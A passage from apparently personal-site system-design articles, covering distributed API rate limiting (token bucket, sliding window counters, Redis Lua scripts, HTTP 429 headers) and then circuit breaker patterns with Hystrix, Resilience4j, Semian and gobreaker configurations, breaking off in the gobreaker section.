## Design Choices

### Algorithm Selection Matrix

| Factor                     | Token Bucket | Leaky Bucket    | Fixed Window     | Sliding Window Counter |
| -------------------------- | ------------ | --------------- | ---------------- | ---------------------- |
| **Burst tolerance**        | Excellent    | None            | Boundary exploit | Good                   |
| **Memory per client**      | O(1)         | O(1)            | O(1)             | O(1)                   |
| **Accuracy**               | Burst-aware  | Strict          | Low              | High                   |
| **Distributed complexity** | Medium       | Hard            | Easy             | Medium                 |
| **Best for**               | APIs, CDNs   | Traffic shaping | Simple cases     | General purpose        |

### How to Choose

**Start with token bucket if:**

- Traffic is naturally bursty (user-facing APIs)
- You need separate burst and sustained limits
- Backend can handle temporary overload

**Use sliding window counter if:**

- Precision matters more than burst handling
- You're migrating from fixed window and hitting boundary exploits
- Memory constraints prevent sliding window log

**Use leaky bucket if:**

- Output must be perfectly smooth (downstream rate limits)
- Bursts would overwhelm the next system in the chain
- You're shaping network traffic

**Fixed window only if:**

- Simplicity trumps precision
- Combined with other limits (per-second + per-minute)
- Internal/trusted clients only

### Keying Strategies

Rate limit keys determine what gets limited:

| Strategy       | Pros                                      | Cons                                      | Use Case                         |
| -------------- | ----------------------------------------- | ----------------------------------------- | -------------------------------- |
| **IP address** | No auth required, stops bots              | Shared IPs (NAT, proxies), easy to rotate | DDoS protection, anonymous abuse |
| **API key**    | Fine-grained control, billing integration | Requires key infrastructure               | SaaS APIs, metered services      |
| **User ID**    | Fair per-user limits                      | Requires authentication                   | Authenticated APIs               |
| **Composite**  | Defense in depth                          | Complex configuration                     | High-security APIs               |

**Composite example:** Limit by `(user_id, endpoint)` to prevent one user from monopolizing expensive endpoints while allowing high volume on cheap ones.

**Multi-layer pattern:** Apply limits at multiple levels:

1. Global: 10,000 req/s across all clients (infrastructure protection)
2. Per-IP: 100 req/s (anonymous abuse prevention)
3. Per-user: 1,000 req/s (fair usage)
4. Per-endpoint: varies (resource protection)

The narrowest applicable limit wins.

## Distributed Rate Limiting

Single-instance rate limiting is straightforward. Distributed rate limiting—where multiple application instances must agree on counts—is where complexity lives.

### The Coordination Problem

Without coordination, N instances each allowing L requests per second collectively allow N×L requests:

```
Instance A: "User has made 50 of 100 requests" → Allow
Instance B: "User has made 50 of 100 requests" → Allow
Instance C: "User has made 50 of 100 requests" → Allow

Reality: User made 150 requests, all allowed
```

Three approaches exist: shared state, local approximation, and hybrid.

### Shared State with Redis

The standard pattern: centralize rate limit state in Redis. All application instances read and write the same counters.

**Redis Sorted Sets (Stripe pattern):**

Sorted sets naturally implement sliding window log with efficient operations:

```lua title="rate-limit.lua"
-- Sliding window log in Redis Sorted Set
-- Score = timestamp, Member = unique request ID
local key = KEYS[1]
local window_ms = tonumber(ARGV[1])
local limit = tonumber(ARGV[2])
local now = tonumber(ARGV[3])
local request_id = ARGV[4]

-- Remove expired entries
redis.call('ZREMRANGEBYSCORE', key, 0, now - window_ms)

-- Count current window
local count = redis.call('ZCARD', key)

if count < limit then
  redis.call('ZADD', key, now, request_id)
  redis.call('EXPIRE', key, math.ceil(window_ms / 1000))
  return 1  -- Allowed
end
return 0  -- Rejected
```

The Lua script executes atomically—no race conditions between read and write.

**Redis atomic counters:**

For fixed or sliding window counters, simpler operations suffice:

```ts title="redis-counter.ts" collapse={1-4, 25-30}
// Sliding window counter in Redis
// Requires two keys: current window and previous window
import Redis from "ioredis"

async function tryConsume(redis: Redis, key: string, windowSec: number, limit: number): Promise<boolean> {
  const now = Date.now()
  const currentWindow = Math.floor(now / 1000 / windowSec)
  const elapsedInWindow = (now / 1000) % windowSec
  const previousWeight = (windowSec - elapsedInWindow) / windowSec

  const [current, previous] = await redis.mget(`${key}:${currentWindow}`, `${key}:${currentWindow - 1}`)

  const estimate = parseInt(previous || "0") * previousWeight + parseInt(current || "0")

  if (estimate < limit) {
    await redis
      .multi()
      .incr(`${key}:${currentWindow}`)
      .expire(`${key}:${currentWindow}`, windowSec * 2)
      .exec()
    return true
  }
  return false
}
```

### Race Condition: Get-Then-Set

The naive approach has a critical race:

```
Time    Client A                    Client B
────────────────────────────────────────────────────
T1      GET counter → 99
T2                                  GET counter → 99
T3      Check: 99 < 100 → Allow
T4      SET counter = 100
T5                                  Check: 99 < 100 → Allow
T6                                  SET counter = 100  ← Wrong!
```

Both clients see 99, both increment to 100. Actual count should be 101.

**Solution: Lua scripts**

Move the entire read-check-write sequence into an atomic Lua script:

```lua title="atomic-increment.lua"
local key = KEYS[1]
local limit = tonumber(ARGV[1])
local window = tonumber(ARGV[2])

local current = tonumber(redis.call('GET', key) or 0)
if current < limit then
  redis.call('INCR', key)
  redis.call('EXPIRE', key, window)
  return 1
end
return 0
```

Redis executes Lua scripts atomically—no other commands interleave.

### Stripe's Redis Cluster Migration

Stripe initially ran rate limiting on a single Redis instance. The problem:

> "We found ourselves in a situation where our rate limiters were saturating a single core and network bandwidth of one Redis instance. We were seeing ambient failures and high latencies."
> — Brandur Leach, Stripe

The solution: migrate to Redis Cluster with 10 nodes.

**Key decisions:**

- Use Redis Cluster's 16,384 hash slots distributed across nodes
- Client calculates `CRC16(key) mod 16384` to route requests
- Keys for the same user land on the same node (use `{user_id}:*` to force slot)
- Result: horizontal scaling with negligible latency impact

**Critical insight:** Rate limit keys must include a hash tag to keep related keys on the same node:

```
{user_123}:requests      → Same slot
{user_123}:concurrent    → Same slot
{user_456}:requests      → Different slot (different user)
```

### GitHub's Implementation

GitHub runs sharded Redis with primary-replica topology:

- **Writes:** Always to primary
- **Reads:** Distributed across replicas
- **Atomicity:** Lua scripts for all rate limit operations
- **TTL management:** Explicit TTL setting in code, not relying on Redis key expiration

**Timestamp stability fix:** GitHub discovered that recalculating reset times caused "wobbling"—clients saw different reset times on consecutive requests. The fix: persist reset timestamps in the database rather than recalculating from current time.

### Local Approximation

For latency-sensitive paths, hitting Redis on every request may be unacceptable. Local approximation maintains per-instance counters and periodically syncs.

```ts title="local-approximation.ts" collapse={1-5, 35-50}
// Local rate limiter with periodic sync
// Trade-off: brief inconsistency for reduced latency
type LocalLimiter = {
  count: number
  limit: number
  syncedAt: number
}

class HybridRateLimiter {
  private local: LocalLimiter
  private syncIntervalMs: number
  private globalLimit: number

  constructor(globalLimit: number, syncIntervalMs: number = 1000) {
    this.globalLimit = globalLimit
    this.syncIntervalMs = syncIntervalMs
    this.local = { count: 0, limit: globalLimit, syncedAt: Date.now() }
  }

  async tryConsume(): Promise<boolean> {
    const now = Date.now()

    // Sync with Redis periodically
    if (now - this.local.syncedAt > this.syncIntervalMs) {
      await this.sync()
    }

    // Local check (fast path)
    if (this.local.count < this.local.limit) {
      this.local.count++
      return true
    }
    return false
  }

  private async sync(): Promise<void> {
    // Push local count to Redis, get global state
    // Adjust local limit based on global usage
  }
}
```

**Trade-off:** During sync intervals, the cluster may collectively exceed the limit by `instances × local_limit`. Tune sync frequency based on acceptable overage.

**Envoy's hybrid model:** Local token bucket absorbs bursts immediately, global rate limit service (gRPC to Redis-backed service) enforces mesh-wide limits. Local limits are more permissive than global.

### Cloudflare's Architecture

Cloudflare operates rate limiting at 200+ Points of Presence (PoPs) globally. Their approach:

- **No global state:** Each PoP runs isolated rate limiting
- **Leverage anycast:** Same client IP typically routes to same PoP
- **Twemproxy + Memcached:** Per-PoP caching cluster
- **Asynchronous increments:** Fire-and-forget counter updates
- **Mitigation flag caching:** Once a client exceeds threshold, cache the "blocked" state in memory to avoid Memcached queries

This works because anycast routing provides natural affinity—a client in Paris consistently hits the Paris PoP. Cross-PoP coordination would add latency without proportional benefit.

## Real-World Examples

### Discord: Per-Bucket Rate Limits

Discord uses a bucket-based system where related endpoints share a rate limit:

```
X-RateLimit-Bucket: abc123def456
X-RateLimit-Limit: 5
X-RateLimit-Remaining: 4
X-RateLimit-Reset: 1640995200.000
X-RateLimit-Reset-After: 1.234
```

**Key design decision:** The `X-RateLimit-Bucket` header lets clients identify shared limits across endpoints. `POST /channels/123/messages` and `POST /channels/456/messages` might share a bucket—clients must respect the bucket, not the endpoint.

**Global limit:** 50 requests/second across all endpoints, enforced separately from per-route limits.

### GitHub: Tiered Limits

GitHub's API has explicit tiers:

| Tier                    | Limit       | Use Case             |
| ----------------------- | ----------- | -------------------- |
| Unauthenticated         | 60/hour     | Public data scraping |
| Authenticated           | 5,000/hour  | Normal API usage     |
| GitHub App (Enterprise) | 15,000/hour | Heavy automation     |

**Secondary limits:** Beyond request count, GitHub limits:

- Concurrent requests (per user)
- CPU time consumption (expensive queries)
- Per-endpoint rates (abuse prevention)

**Implementation detail:** GitHub stores reset timestamps in their database, not derived from current time, to prevent timestamp wobble across distributed instances.

### Stripe: Load Shedding Hierarchy

Stripe's four-tier rate limiting shows sophisticated prioritization:

1. **Request rate limiter:** Hard limit on requests/second
2. **Concurrent request limiter:** Cap in-flight requests to prevent resource exhaustion
3. **Fleet load shedder:** When overall fleet utilization is high, reject low-priority traffic first (webhooks before charges)
4. **Worker utilization shedder:** Per-worker protection against thread pool exhaustion

**Kill switch pattern:** Each rate limiter can be disabled via feature flag for incident response. Dark launch testing validates new limits in production without enforcement.

## Error Responses and Client Guidance

### HTTP 429 and Headers

Rate-limited responses must include actionable information:

```http
HTTP/1.1 429 Too Many Requests
Retry-After: 30
RateLimit-Limit: 100
RateLimit-Remaining: 0
RateLimit-Reset: 1640995230

{
  "error": "rate_limit_exceeded",
  "message": "Rate limit exceeded. Retry after 30 seconds.",
  "retry_after": 30
}
```

**Retry-After:** The minimum header for 429 responses. Use delta-seconds (not timestamps) to avoid clock sync issues:

```
Retry-After: 30        ← Good: "wait 30 seconds"
Retry-After: Wed, 01 Jan 2025 00:00:30 GMT  ← Risky: requires clock sync
```

### IETF RateLimit Headers (draft-ietf-httpapi-ratelimit-headers)

The emerging standard (draft-10, as of 2025) defines:

**RateLimit-Policy:** Server's quota policy

```
RateLimit-Policy: 100;w=60;burst=20
```

- `100`: quota units
- `w=60`: window in seconds
- `burst=20`: burst allowance

**RateLimit:** Current state

```
RateLimit: limit=100, remaining=45, reset=30
```

**Design rationale:** Separating policy (what the server allows) from state (current usage) lets clients self-throttle proactively. A client seeing `remaining=5` can slow down before hitting `remaining=0`.

### Client-Side Best Practices

Well-behaved clients implement:

1. **Exponential backoff:** On 429, wait `min(2^attempt × base_delay, max_delay)` with jitter
2. **Proactive throttling:** Track `RateLimit-Remaining` and slow down before exhaustion
3. **Bucket awareness:** Respect `X-RateLimit-Bucket` to identify shared limits
4. **Retry-After compliance:** Never retry before `Retry-After` expires

```ts title="client-rate-limiting.ts" collapse={1-3, 25-30}
// Client-side rate limit handling
// Respects Retry-After and implements exponential backoff
async function fetchWithRateLimit(url: string, maxRetries: number = 5): Promise<Response> {
  for (let attempt = 0; attempt < maxRetries; attempt++) {
    const response = await fetch(url)

    if (response.status !== 429) {
      return response
    }

    const retryAfter = response.headers.get("Retry-After")
    const waitMs = retryAfter ? parseInt(retryAfter) * 1000 : Math.min(1000 * Math.pow(2, attempt), 60000)

    // Add jitter: ±10% of wait time
    const jitter = waitMs * 0.1 * (Math.random() * 2 - 1)
    await sleep(waitMs + jitter)
  }
  throw new Error("Rate limit exceeded after max retries")
}
```

## Common Pitfalls

### 1. Using Client-Provided Timestamps

**The mistake:** Trusting `X-Forwarded-For` or client timestamps for rate limiting.

**Why it happens:** Developers assume clients are honest.

**The consequence:** Attackers spoof headers to bypass limits or manipulate time windows.

**The fix:** Use server-side timestamps. For IP-based limiting, get client IP from your load balancer's trusted header after terminating at your edge.

### 2. Per-Instance Instead of Distributed Limits

**The mistake:** Each instance maintains its own rate limit state.

**Why it happens:** Shared state seems complex; local state "works in development."

**The consequence:** With N instances, clients get N× the intended limit.

**The fix:** Use Redis or another shared store. If latency is critical, use local approximation with periodic sync.

### 3. Fixed Window Without Secondary Limits

**The mistake:** Relying solely on fixed window counters.

**Why it happens:** Simple to implement; boundary problems aren't obvious in testing.

**The consequence:** Attackers time requests at window boundaries to achieve 2× limits.

**The fix:** Either migrate to sliding window counter, or layer limits (per-second + per-minute + per-hour).

### 4. Blocking Instead of Queueing for Bursts

**The mistake:** Immediately rejecting all requests that exceed the limit.

**Why it happens:** Rejection is simpler than queue management.

**The consequence:** Legitimate traffic spikes get rejected even when backend capacity exists.

**The fix:** Token bucket with appropriate burst capacity, or NGINX-style `burst` queue. Size the burst queue based on expected spike duration × processing rate.

### 5. Ignoring Cardinality Explosion

**The mistake:** Rate limiting by high-cardinality keys (e.g., per-request-ID, per-session-ID).

**Why it happens:** Over-specific limiting to "be fair."

**The consequence:** Memory exhaustion. If each of 1 million sessions gets a rate limit entry, you need 1 million entries.

**The fix:** Limit by lower-cardinality keys (user, IP, API key). Use TTLs aggressively to evict stale entries.

## Conclusion

Rate limiting protects systems through controlled rejection. The algorithm choice depends on your tolerance for bursts (token bucket allows them, leaky bucket doesn't), precision requirements (sliding window counter beats fixed window), and memory constraints (sliding window log is precise but expensive).

For most production systems: use **sliding window counter** for accuracy with O(1) memory, backed by **Redis with Lua scripts** for atomic distributed operations. Add **token bucket** semantics when you need explicit burst control separate from sustained rate.

The hardest part isn't the algorithm—it's the keying strategy. Rate limit by the right identity (user > API key > IP), at the right granularity (per-endpoint for resource protection, global for infrastructure protection), with useful error responses (429 + Retry-After + remaining counts).

## Appendix

### Prerequisites

- Understanding of distributed systems coordination patterns
- Familiarity with Redis data structures and atomic operations
- Basic knowledge of HTTP response codes and headers

### Terminology

- **Bucket capacity:** Maximum tokens a token bucket can hold; determines burst size
- **Refill rate:** Tokens added per time unit; determines sustained throughput
- **Window:** Time period over which requests are counted
- **Keying:** The identity used to group requests for rate limiting
- **Jitter:** Random variation added to retry delays to prevent thundering herd

### Summary

- Token bucket separates burst capacity from sustained rate—use for bursty traffic
- Sliding window counter provides high accuracy (0.003% error) with O(1) memory
- Fixed window has boundary exploits allowing 2× intended rate
- Distributed rate limiting requires shared state (Redis) or local approximation with sync
- Use Lua scripts in Redis to eliminate race conditions in read-check-write cycles
- Always return 429 with Retry-After header; consider IETF RateLimit headers for proactive client throttling

### References

- [IETF draft-ietf-httpapi-ratelimit-headers](https://datatracker.ietf.org/doc/draft-ietf-httpapi-ratelimit-headers/) - Standard rate limit headers
- [Stripe: Scaling Rate Limiters with Redis Cluster](https://stripe.com/blog/rate-limiters) - Production architecture
- [Cloudflare: Counting Things at Scale](https://blog.cloudflare.com/counting-things-a-lot-of-different-things/) - Sliding window counter accuracy data
- [GitHub: Sharded Rate Limiter in Redis](https://github.blog/engineering/infrastructure/how-we-scaled-github-api-sharded-replicated-rate-limiter-redis/) - Timestamp stability fix
- [NGINX: Rate Limiting](https://nginx.org/en/docs/http/ngx_http_limit_req_module.html) - Leaky bucket implementation
- [Envoy: Global Rate Limiting](https://www.envoyproxy.io/docs/envoy/latest/intro/arch_overview/other_features/global_rate_limiting) - Hybrid local/global pattern
- [AWS API Gateway Throttling](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-request-throttling.html) - Hierarchical token bucket
- [Discord: Rate Limits](https://discord.com/developers/docs/topics/rate-limits) - Bucket-based rate limiting

---

## Circuit Breaker Patterns for Resilient Systems

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-fundamentals/circuit-breaker-patterns
**Category:** System Design / System Design Fundamentals
**Description:** Circuit breakers prevent cascading failures by failing fast when downstream dependencies are unhealthy. This article examines design choices—threshold-based vs time-window detection, thread pool vs semaphore isolation, per-host vs per-service scoping—along with production configurations from Netflix, Shopify, and modern implementations in Resilience4j.

# Circuit Breaker Patterns for Resilient Systems

Circuit breakers prevent cascading failures by failing fast when downstream dependencies are unhealthy. This article examines design choices—threshold-based vs time-window detection, thread pool vs semaphore isolation, per-host vs per-service scoping—along with production configurations from Netflix, Shopify, and modern implementations in Resilience4j.

<figure>

![The circuit breaker state machine. Closed allows requests and counts failures. Open rejects immediately. Half-Open tests if recovery is complete.](./the-circuit-breaker-state-machine-closed-allows-requests-and-counts-failures-ope.svg)

<figcaption>The circuit breaker state machine. Closed allows requests and counts failures. Open rejects immediately. Half-Open tests if recovery is complete.</figcaption>
</figure>

## Abstract

A circuit breaker wraps dependency calls and tracks failure rates. When failures exceed a threshold, the breaker "opens"—subsequent calls fail immediately without attempting the dependency. After a timeout, it enters "half-open" state, allowing probe requests to test recovery. Success closes the circuit; failure reopens it.

The pattern solves a specific problem: **slow failures are worse than fast failures**. A hanging dependency ties up caller threads, exhausts connection pools, and cascades failure upstream. Circuit breakers convert slow failures (timeouts) into fast failures (immediate rejection), preserving caller resources.

**Key design choices:**

- **Detection strategy:** Count-based (last N calls) vs time-based (last N seconds). Count-based is simpler; time-based adapts to traffic variability.
- **Isolation model:** Thread pool (separate threads per dependency, timeout enforced) vs semaphore (shared threads, no timeout). Thread pool adds ~3-9ms latency but enables timeouts.
- **Scope:** Per-service (single breaker for all hosts) vs per-host (separate breakers per instance). Per-host prevents one bad host from blocking all traffic.
- **Half-open behavior:** Single probe vs multiple probes. Single is fragile; multiple adds controlled load during recovery.

The pattern was introduced by Michael Nygard in "Release It!" (2007) and popularized by Netflix's Hystrix. Hystrix is now deprecated in favor of adaptive approaches (Resilience4j, concurrency limits) that don't require manual threshold tuning.

## The Problem: Cascading Failures from Slow Dependencies

Without circuit breakers, a slow or failing dependency can cascade failure to its callers.

### Resource Exhaustion Chain

```
Scenario: Database becomes slow (10s response time)

Service A (caller):
├─ Thread pool: 100 threads
├─ Timeout: 30s (misconfigured)
├─ Normal throughput: 1000 req/s

After database slowdown:
├─ Each request holds a thread for 10s
├─ 100 threads / 10s = 10 req/s capacity
├─ 99% of requests queue or fail
├─ Service A becomes slow → cascades to its callers
```

The problem compounds: Service A's callers wait for A, exhausting their thread pools, cascading further. A single slow database can take down an entire service mesh.

### Why Retries Make It Worse

Callers often retry failed requests. Without backoff or budgets, retries amplify load on an already struggling dependency:

```
Normal: 100 req/s to dependency
Dependency fails: 100 req/s × 3 retries = 300 req/s
Dependency under more load → more failures → more retries
```

Circuit breakers break this feedback loop by stopping calls entirely when failure is likely.

## State Machine Mechanics

### Closed State

Normal operation. Requests pass through to the dependency. The breaker tracks failures using a sliding window (by count or time).

```ts title="closed-state.ts" collapse={1-3, 20-25}
// Simplified closed state logic
type CircuitBreakerState = {
  failures: number
  successes: number
  lastFailureTime: number
}

function onRequestComplete(state: CircuitBreakerState, success: boolean, threshold: number): "CLOSED" | "OPEN" {
  if (success) {
    state.successes++
    return "CLOSED"
  }

  state.failures++
  state.lastFailureTime = Date.now()

  const total = state.failures + state.successes
  const failureRate = state.failures / total

  if (total >= 10 && failureRate >= threshold) {
    return "OPEN" // Trip the circuit
  }
  return "CLOSED"
}
```

**Volume threshold matters:** A circuit that opens after 2 failures in 2 requests would flap constantly. Production implementations require a minimum request volume (e.g., 10-20 requests) before evaluating the threshold.

### Open State

Fast-fail mode. Requests are rejected immediately without calling the dependency. This:

- Preserves caller resources (no threads blocked waiting)
- Gives the dependency time to recover
- Provides fast feedback to upstream callers

The breaker stays open for a configured duration (reset timeout), typically 5-60 seconds.

### Half-Open State

After the reset timeout, the breaker allows limited probe requests to test if the dependency has recovered.

**Single probe (Hystrix default):**

- One request passes through
- Success → Close circuit
- Failure → Reopen circuit

**Multiple probes (Resilience4j):**

- Configurable number of requests allowed (e.g., 10)
- Evaluate success rate of probes
- Close only if success rate exceeds threshold

**Design rationale for multiple probes:** A single request is a noisy signal. Network hiccups, cold starts, or unlucky routing can cause one request to fail even if the service is healthy. Multiple probes provide statistical confidence.

## Detection Strategies

### Count-Based Sliding Window

Track the outcome of the last N requests regardless of time.

```
Window size: 10 requests
Failure threshold: 50%

Request history: [✓, ✗, ✓, ✗, ✗, ✗, ✓, ✗, ✗, ✓]
Failures: 6/10 = 60% → Trip circuit
```

**Implementation:** Circular buffer of size N. O(1) time per request, O(N) memory per dependency.

**Best when:**

- Traffic is consistent and predictable
- You want behavior that's independent of request rate
- Simpler reasoning about when circuit trips

**Trade-off:** During low traffic, the window may span hours. Old failures influence current decisions even if the dependency recovered.

### Time-Based Sliding Window

Track outcomes within the last N seconds.

```
Window: 10 seconds
Failure threshold: 50%

Requests in last 10s: 100
Failures in last 10s: 60
Failure rate: 60% → Trip circuit
```

**Implementation:** Aggregate statistics per bucket (e.g., 1-second buckets). Total window = sum of buckets. O(1) time per request, O(window_size / bucket_size) memory.

**Best when:**

- Traffic varies significantly (bursty, daily patterns)
- You want the circuit to adapt to recent conditions
- High-traffic services where count-based window refreshes too quickly

**Trade-off:** During traffic lulls, few requests may trip the circuit on small samples. Minimum throughput threshold mitigates this.

### Resilience4j's Sliding Window

Resilience4j (the modern JVM standard) supports both strategies:

```java
CircuitBreakerConfig config = CircuitBreakerConfig.custom()
    // Count-based: trip after 5 failures in last 10 calls
    .slidingWindowType(SlidingWindowType.COUNT_BASED)
    .slidingWindowSize(10)
    .failureRateThreshold(50)

    // OR time-based: trip after 50% failures in last 10 seconds
    .slidingWindowType(SlidingWindowType.TIME_BASED)
    .slidingWindowSize(10) // seconds
    .failureRateThreshold(50)

    // Minimum requests before evaluating
    .minimumNumberOfCalls(5)
    .build();
```

**Performance characteristics:**

- Snapshot retrieval: O(1) time (pre-aggregated, not computed on access)
- Memory: O(window_size) for count-based, O(buckets) for time-based
- Thread safety: Atomic operations with synchronized sliding window access

### Slow Call Detection

Resilience4j can open the circuit proactively when calls are slow, even before they fail:

```java
CircuitBreakerConfig.custom()
    .slowCallRateThreshold(50) // 50% of calls are slow
    .slowCallDurationThreshold(Duration.ofSeconds(2))
    .build();
```

**Design rationale:** Slow calls often precede failures. A database under load responds slowly before timing out. Opening the circuit on slowness preserves caller resources before the situation worsens.

## Isolation Models

Isolation determines how the circuit breaker protects caller resources from slow dependencies.

### Thread Pool Isolation

Each dependency gets its own thread pool. Requests execute on dedicated threads, not the caller's thread.

```
Caller thread → Submit to pool → Dependency thread handles request
                                         ↓
                    Timeout enforced ← Future.get(timeout)
```

**Netflix Hystrix's approach:**

- Separate thread pool per `HystrixCommand`
- Default pool size: 10 threads per dependency
- Timeout enforced via `Future.get(timeout)`

**Performance cost (Netflix production data):**

- 90th percentile latency addition: ~3ms
- 99th percentile latency addition: ~9ms

Netflix deemed this acceptable:

> "The cost is minor enough to not have major cost or performance impact."
> — Netflix Hystrix Wiki

**Benefits:**

- ✅ Timeout enforcement: Can interrupt stuck calls
- ✅ Strong isolation: Slow dependency A can't consume threads needed for B
- ✅ Concurrent limits: Pool size caps concurrent calls per dependency

**Trade-offs:**

- ❌ Thread handoff overhead (~3-9ms)
- ❌ Context switching cost
- ❌ Queue management complexity
- ❌ Memory footprint (threads per pool × pools)

### Semaphore Isolation

Limit concurrent calls via semaphore; requests execute on caller's thread.

```
Caller thread → Acquire semaphore → Call dependency on same thread
                     ↓
              If unavailable → Reject immediately
```

**Implementation:**

```ts title="semaphore-isolation.ts" collapse={1-2, 20-25}
// Semaphore isolation pattern
class SemaphoreIsolation {
  private permits: number
  private maxPermits: number

  constructor(maxConcurrent: number) {
    this.permits = maxConcurrent
    this.maxPermits = maxConcurrent
  }

  async execute<T>(fn: () => Promise<T>): Promise<T> {
    if (this.permits <= 0) {
      throw new Error("Semaphore exhausted")
    }

    this.permits--
    try {
      return await fn() // Runs on caller's thread
    } finally {
      this.permits++
    }
  }
}
```

**Benefits:**

- ✅ No thread overhead
- ✅ Lower latency (no queue/handoff)
- ✅ Simpler implementation

**Trade-offs:**

- ❌ No timeout enforcement (can't interrupt blocked thread)
- ❌ Slow calls block caller threads
- ❌ Less isolation than thread pool

### When to Use Each

| Factor                     | Thread Pool                  | Semaphore                            |
| -------------------------- | ---------------------------- | ------------------------------------ |
| **Dependency reliability** | Unreliable, may hang         | Reliable, predictable latency        |
| **Timeout requirement**    | Must enforce timeouts        | Timeouts at network layer sufficient |
| **Latency sensitivity**    | Can tolerate 3-9ms overhead  | Sub-millisecond required             |
| **Call volume**            | < 1000/s per dependency      | > 1000/s, high-throughput            |
| **Call type**              | Network I/O, remote services | In-memory, local computation         |

**Netflix's recommendation:**

- Default: Thread pool isolation for `HystrixCommand`
- Semaphore: Only for "extremely high-volume calls" (hundreds per second per instance) where overhead matters

### Bulkhead vs Circuit Breaker

Circuit breakers and bulkheads are complementary:

- **Bulkhead:** Isolates resources (thread pools, connections) to prevent one dependency from exhausting shared capacity
- **Circuit breaker:** Detects dependency health and stops calling unhealthy dependencies

**Together:** Bulkhead (thread pool) limits concurrent calls to 20. Circuit breaker (failure detection) opens when 50% of those calls fail. The bulkhead prevents resource exhaustion while the circuit breaker provides fast-fail.

## Scoping Strategies

### Per-Service Circuit Breaker

One breaker for all calls to a logical service, regardless of which host handles the request.

```
Service A → Circuit Breaker → Load Balancer → [Host 1, Host 2, Host 3]
                                                    ↑
                                            One bad host affects
                                            circuit for all hosts
```

**When appropriate:**

- Infrastructure failures affect all hosts equally (network partition, DNS failure)
- Hosts are homogeneous and share fate
- Simpler configuration and debugging

**The problem:** With client-side load balancing, one bad host may not trip the circuit:

```
3 hosts, 1 failing
Requests distributed: 33% fail (1 host), 67% succeed (2 hosts)
Failure threshold: 50%
Result: Circuit stays closed, 33% of requests fail continuously
```

### Per-Host Circuit Breaker

Separate breaker for each host/instance of a service.

```
Service A → [CB for Host 1] → Host 1
          → [CB for Host 2] → Host 2
          → [CB for Host 3] → Host 3
```

**Benefits:**

- ✅ Single bad host doesn't poison the entire service
- ✅ Fine-grained control and visibility
- ✅ Works with client-side load balancing

**Trade-offs:**

- ❌ More circuit breaker instances to manage
- ❌ Requires service discovery integration
- ❌ Health state per instance adds memory

### Hybrid Approach

For sophisticated systems, chain multiple breakers:

```
Service A → Per-Service CB → Retry → Per-Host CB → Host
            (catastrophic)             (host-level)
```

- **Per-host:** Opens when a specific host fails. Traffic routes to other hosts.
- **Per-service:** Opens only when most/all hosts are unhealthy. Protects against service-wide failures.

**Design guidance:**

> "Consider how and why your upstream service could fail and then use the simplest possible configuration for your situation."
> — Azure Architecture Patterns

## Real-World Implementations

### Netflix Hystrix (Deprecated but Influential)

Hystrix established patterns that persist across modern implementations.

**Core design:**

- Command pattern: Each dependency call wrapped in `HystrixCommand`
- Thread pool isolation by default
- Request collapsing: Batch simultaneous requests
- Request caching: Deduplicate within request context

**Default configuration:**

```java
// Hystrix defaults (for reference)
circuitBreaker.requestVolumeThreshold = 20    // Min requests before evaluation
circuitBreaker.errorThresholdPercentage = 50  // Error rate to trip
circuitBreaker.sleepWindowInMilliseconds = 5000  // Time in Open
metrics.rollingStats.timeInMilliseconds = 10000  // Metrics window
```

**Why deprecated:** Netflix shifted toward adaptive approaches:

> "Netflix will no longer actively review issues, merge pull-requests, and release new versions of Hystrix... We recommend resilience4j for new projects."
> — Hystrix README

The shift reflects a broader industry move from static thresholds to adaptive systems that respond to real-time conditions.

### Resilience4j (Current JVM Standard)

Lightweight, decorator-based alternative to Hystrix.

**Architecture:**

- Functional composition: Decorate any function with resilience behaviors
- Modular: Pick only what you need (CircuitBreaker, Retry, RateLimiter, Bulkhead)
- Reactive support: Native Reactor and RxJava operators

**Six states:**

- `CLOSED`: Normal operation
- `OPEN`: Rejecting requests
- `HALF_OPEN`: Testing recovery
- `DISABLED`: Always allow, no metrics
- `METRICS_ONLY`: Always allow, track metrics
- `FORCED_OPEN`: Force rejection (for testing/maintenance)

**Configuration example:**

```java
CircuitBreakerConfig config = CircuitBreakerConfig.custom()
    .slidingWindowType(SlidingWindowType.COUNT_BASED)
    .slidingWindowSize(100)
    .minimumNumberOfCalls(10)
    .failureRateThreshold(50)
    .slowCallRateThreshold(50)
    .slowCallDurationThreshold(Duration.ofSeconds(2))
    .waitDurationInOpenState(Duration.ofSeconds(30))
    .permittedNumberOfCallsInHalfOpenState(10)
    .automaticTransitionFromOpenToHalfOpenEnabled(true)
    .build();
```

**Key improvements over Hystrix:**

- Configurable half-open probes (not just one)
- Slow call detection (proactive tripping)
- Lower overhead (no thread pools required)
- Better integration with reactive streams

### Shopify Semian (Ruby)

Shopify's open-source circuit breaker with bulkhead isolation.

**Critical discovery (2014):** Shopify found that naive circuit breaker configuration can _worsen_ availability:

> "When Shopify started introducing circuit breakers and bulkheads to production in 2014 they severely underestimated how difficult they are to configure."
> — Shopify Engineering

**The problem:** During half-open testing, requests used the standard timeout (250ms). With 42 Rails workers, testing recovery required:

```
42 workers × 250ms timeout = 10.5 seconds of worker time per probe cycle
Required utilization: 263% (impossible → constant oscillation)
```

**The fix:** Separate timeout for half-open probes:

```ruby
Semian.register(
  :external_service,
  circuit_breaker: true,
  bulkhead: true,
  success_threshold: 2,      # Consecutive successes to close
  error_threshold: 3,        # Consecutive failures to open
  error_timeout: 30,         # Seconds before half-open
  half_open_resource_timeout: 0.050  # 50ms timeout for probes (not 250ms!)
)
```

**Result:** Required utilization dropped from 263% to 4%.

**Key insights:**

- Half-open timeout should be much shorter than normal timeout
- Success threshold prevents flip-flopping (require consecutive successes)
- Monitor circuit breaker state transitions, not just metrics

### Sony gobreaker (Go)

Simple, stateful circuit breaker for Go applications.

```go
settings := gobreaker.Settings{
    Name:        "external-service",
    MaxRequests: 3,           // Max requests when half-open
    Interval:    10 * time.Second,  // Cyclic period for clearing counts
    Timeout:     30 * time.Second,  // Duration of open state
    ReadyToTrip: func(counts gobreaker.Counts) bool {
        failureRatio := float64(counts.TotalFailures) / float64(counts.Requests)
        return counts.Requests >= 3 && failureRatio >= 0.6
    },
    OnStateChange: func(name string, from, to gobreaker.State) {
        log.Printf("Circuit %s: %s -> %s", name, from, to)
    },
}

cb := gobreaker.NewCircuitBreaker(settings)

result, err := cb.Execute(func() (interface{}, error) {
    return callExternalService()
})
```

**Design notes:**

- `ReadyToTrip` callback allows custom tripping logic
- `Interval` for rolling window (counts cleared periodically)
